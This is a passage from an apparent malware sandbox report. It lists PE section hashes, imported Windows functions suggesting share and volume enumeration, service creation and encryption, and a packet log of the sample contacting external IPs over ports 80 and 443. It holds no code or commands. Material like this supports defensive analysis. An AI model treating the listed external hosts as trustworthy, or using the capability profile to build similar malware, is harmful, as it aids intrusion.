.rdata	0x19000	0x9540	0x9600	40aa7cce1907c5761b7ad902500fddf8	False	0.4109114583333333	data	4.925973924595098	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x23000	0x4b58	0x1000	b314c6b468f17c56a38ad2a1f4b93053	False	0.22412109375	DOS executable (block device driver \277DN\346@\273)	3.947260288287349	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x28000	0x1e0	0x200	d627f7af930e6cd2da2b7ca8805a23d8	False	0.52734375	data	4.7122981932940915	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x29000	0x17c0	0x1800	58d36c3653754bc3b77777b521bba79b	False	0.8107096354166666	data	6.621781703147149	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

DLL	Import
KERNEL32.dll	GetModuleHandleA, GetLocaleInfoA, OpenProcess, PostQueuedCompletionStatus, CreateToolhelp32Snapshot, MultiByteToWideChar, Sleep, GetLastError, Process32NextW, CreateFileA, GetDiskFreeSpaceExW, GetCurrentThread, TerminateThread, LoadLibraryA, lstrcatW, CloseHandle, GetNativeSystemInfo, GetSystemInfo, CreateThread, GetWindowsDirectoryA, GetWindowsDirectoryW, GetProcAddress, SetFilePointerEx, LocalFree, DeleteCriticalSection, ExitProcess, GetCurrentProcessId, GetModuleHandleW, CopyFileW, WideCharToMultiByte, lstrcpyW, SleepEx, GetDiskFreeSpaceExA, lstrcmpiW, CreateIoCompletionPort, GetTickCount, lstrcmpW, GetCurrentThreadId, GetDriveTypeW, GetFileTime, GetComputerNameA, QueryDosDeviceW, FindFirstVolumeW, DuplicateHandle, CreateEventW, SetEvent, FindVolumeClose, GetVolumePathNamesForVolumeNameW, GetFileType, FindNextVolumeW, WriteConsoleW, SetEndOfFile, ReadConsoleW, HeapSize, GetConsoleMode, GetConsoleCP, GetFileAttributesW, CreateFileW, WaitForSingleObject, FindClose, lstrlenA, GetQueuedCompletionStatus, SetErrorMode, InitializeCriticalSection, LeaveCriticalSection, WaitForMultipleObjects, GetModuleFileNameW, GetUserDefaultLangID, TerminateProcess, WriteFile, lstrlenW, GetCurrentProcess, FindNextFileW, GetCommandLineW, EnterCriticalSection, FindFirstFileExW, GetFileSizeEx, GetLogicalDrives, GetVolumeInformationW, ReadFile, FlushFileBuffers, GetStringTypeW, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetCPInfo, GetOEMCP, GetACP, IsValidCodePage, QueryPerformanceCounter, MoveFileW, LCMapStringW, HeapAlloc, HeapFree, HeapReAlloc, GetStdHandle, GetModuleHandleExW, LoadLibraryExW, FreeLibrary, TlsFree, TlsSetValue, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, InitializeCriticalSectionAndSpinCount, ResetEvent, WaitForSingleObjectEx, IsDebuggerPresent, GetStartupInfoW, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, RaiseException, SetLastError, EncodePointer, TlsAlloc, TlsGetValue, DecodePointer
USER32.dll	CreateWindowExW, GetCursorPos, DefWindowProcW, RegisterClassW
ADVAPI32.dll	CryptGenRandom, OpenThreadToken, LookupPrivilegeValueW, AdjustTokenPrivileges, CreateServiceW, RegCloseKey, CryptAcquireContextW, CloseServiceHandle, RegQueryValueExA, OpenSCManagerW, AllocateAndInitializeSid, SetEntriesInAclW, SetNamedSecurityInfoW, RegSetValueExW, OpenProcessToken, FreeSid, StartServiceW, RegOpenKeyExA, RegOpenKeyExW, CryptReleaseContext
SHELL32.dll	CommandLineToArgvW, ShellExecuteW, ShellExecuteA
NETAPI32.dll	NetShareEnum, NetApiBufferFree
SHLWAPI.dll	wnsprintfA, StrCmpNIW, StrCmpNW, StrDupW, StrStrIW, UrlUnescapeA, UrlEscapeA, SHDeleteKeyW, wnsprintfW
IPHLPAPI.DLL	GetIpNetTable
WS2_32.dll	inet_ntoa
WININET.dll	InternetCrackUrlW, InternetQueryOptionW, InternetCloseHandle, InternetConnectW, InternetSetOptionW, InternetOpenW, InternetQueryDataAvailable, HttpOpenRequestW, InternetReadFile, HttpSendRequestW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 7, 2024 12:40:58.133938074 CET	49732	80	192.168.2.4	172.67.74.152
Dec 7, 2024 12:40:58.253901958 CET	80	49732	172.67.74.152	192.168.2.4
Dec 7, 2024 12:40:58.253969908 CET	49732	80	192.168.2.4	172.67.74.152
Dec 7, 2024 12:40:58.254108906 CET	49732	80	192.168.2.4	172.67.74.152
Dec 7, 2024 12:40:58.373960018 CET	80	49732	172.67.74.152	192.168.2.4
Dec 7, 2024 12:40:59.349797964 CET	80	49732	172.67.74.152	192.168.2.4
Dec 7, 2024 12:40:59.349889994 CET	49732	80	192.168.2.4	172.67.74.152
Dec 7, 2024 12:40:59.877985954 CET	49733	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:40:59.878014088 CET	443	49733	13.248.169.48	192.168.2.4
Dec 7, 2024 12:40:59.878205061 CET	49733	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:00.051788092 CET	49733	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:00.051805019 CET	443	49733	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:01.287945986 CET	443	49733	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:01.288017988 CET	49733	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:01.360196114 CET	49733	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:01.360215902 CET	443	49733	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:01.360481024 CET	443	49733	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:01.360522032 CET	49733	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:01.384026051 CET	49733	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:01.431334019 CET	443	49733	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:01.724337101 CET	443	49733	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:01.724402905 CET	443	49733	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:01.724421978 CET	49733	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:01.724539995 CET	49733	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:01.724755049 CET	49733	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:01.724806070 CET	443	49733	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:01.724845886 CET	49733	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:01.724955082 CET	49733	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:01.858419895 CET	49734	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:01.858459949 CET	443	49734	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:01.858522892 CET	49734	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:01.889101982 CET	49734	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:01.889117956 CET	443	49734	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:02.086611032 CET	49737	135	192.168.2.4	192.168.2.1
Dec 7, 2024 12:41:03.092473030 CET	49737	135	192.168.2.4	192.168.2.1
Dec 7, 2024 12:41:03.153422117 CET	443	49734	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:03.154741049 CET	49734	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:03.309420109 CET	49734	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:03.309437037 CET	443	49734	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:03.312282085 CET	49734	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:03.312289000 CET	443	49734	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:03.633636951 CET	443	49734	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:03.633688927 CET	443	49734	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:03.633702993 CET	49734	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:03.633733988 CET	49734	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:03.633788109 CET	49734	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:03.633804083 CET	443	49734	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:03.633812904 CET	49734	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:03.633845091 CET	49734	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:03.785219908 CET	49738	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:03.785255909 CET	443	49738	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:03.785538912 CET	49738	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:03.812463999 CET	49738	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:03.812484026 CET	443	49738	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:05.039583921 CET	443	49738	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:05.039650917 CET	49738	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:05.050508976 CET	49738	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:05.050518990 CET	443	49738	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:05.264362097 CET	49738	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:05.264364004 CET	49737	135	192.168.2.4	192.168.2.1
Dec 7, 2024 12:41:05.264399052 CET	443	49738	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:05.586303949 CET	443	49738	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:05.586352110 CET	443	49738	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:05.586378098 CET	49738	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:05.586405993 CET	49738	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:05.589525938 CET	49738	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:05.589546919 CET	443	49738	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:05.589556932 CET	49738	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:05.589592934 CET	49738	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:05.829250097 CET	49739	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:05.829284906 CET	443	49739	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:05.829360008 CET	49739	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:05.829596996 CET	49739	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:05.829607964 CET	443	49739	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:07.058412075 CET	443	49739	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:07.058485031 CET	49739	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:07.059683084 CET	49739	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:07.059691906 CET	443	49739	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:07.184914112 CET	49739	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:07.184921026 CET	443	49739	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:07.507003069 CET	443	49739	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:07.507042885 CET	443	49739	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:07.507064104 CET	49739	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:07.507078886 CET	49739	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:07.507220030 CET	49739	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:07.507231951 CET	443	49739	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:07.507241011 CET	49739	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:07.507277012 CET	49739	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:08.291243076 CET	49740	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:08.291285038 CET	443	49740	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:08.291344881 CET	49740	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:08.292160034 CET	49740	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:08.292174101 CET	443	49740	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:09.264363050 CET	49737	135	192.168.2.4	192.168.2.1
Dec 7, 2024 12:41:12.534703016 CET	443	49740	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:12.534758091 CET	49740	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:12.535486937 CET	49740	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:12.535492897 CET	443	49740	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:12.537183046 CET	49740	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:12.537188053 CET	443	49740	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:12.977320910 CET	443	49740	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:12.977375031 CET	443	49740	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:12.977432013 CET	49740	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:12.977531910 CET	49740	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:12.977547884 CET	443	49740	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:13.098504066 CET	49742	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:13.098532915 CET	443	49742	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:13.098604918 CET	49742	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:13.099107027 CET	49742	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:13.099118948 CET	443	49742	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:14.329945087 CET	443	49742	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:14.330007076 CET	49742	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:14.334317923 CET	49742	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:14.334326029 CET	443	49742	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:14.335913897 CET	49742	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:14.335918903 CET	443	49742	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:14.771910906 CET	443	49742	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:14.771961927 CET	443	49742	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:14.772001982 CET	49742	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:14.772001982 CET	49742	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:14.772069931 CET	49742	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:14.772089958 CET	443	49742	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:14.772109032 CET	49742	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:14.772138119 CET	49742	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:14.902489901 CET	49744	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:14.902517080 CET	443	49744	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:14.902590990 CET	49744	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:14.902841091 CET	49744	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:14.902852058 CET	443	49744	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:16.128182888 CET	443	49744	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:16.128235102 CET	49744	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:16.135150909 CET	49744	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:16.135159016 CET	443	49744	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:16.136703014 CET	49744	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:16.136708021 CET	443	49744	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:16.568058014 CET	443	49744	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:16.568109989 CET	443	49744	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:16.568113089 CET	49744	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:16.568152905 CET	49744	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:16.568211079 CET	49744	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:16.568223953 CET	443	49744	13.248.169.48	192.168.2.4
Dec 7, 2024 12:41:16.568233967 CET	49744	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:16.568270922 CET	49744	443	192.168.2.4	13.248.169.48
Dec 7, 2024 12:41:17.264373064 CET	49737	135	192.168.2.4	192.168.2.1
Dec 7, 2024 12:41:23.087760925 CET	49749	135	192.168.2.4	192.168.2.1
Dec 7, 2024 12:41:24.076908112 CET	49749	135	192.168.2.4	192.168.2.1
Dec 7, 2024 12:41:26.076898098 CET	49749	135	192.168.2.4	192.168.2.1
Dec 7, 2024 12:41:30.076921940 CET	49749	135	192.168.2.4	192.168.2.1
Dec 7, 2024 12:41:38.076927900 CET	49749	135	192.168.2.4	192.168.2.1
Dec 7, 2024 12:42:47.903685093 CET	49732	80	192.168.2.4	172.67.74.152
Dec 7, 2024 12:42:48.026223898 CET	80	49732	172.67.74.152	192.168.2.4
Dec 7, 2024 12:42:48.026304960 CET	49732	80	192.168.2.4	172.67.74.152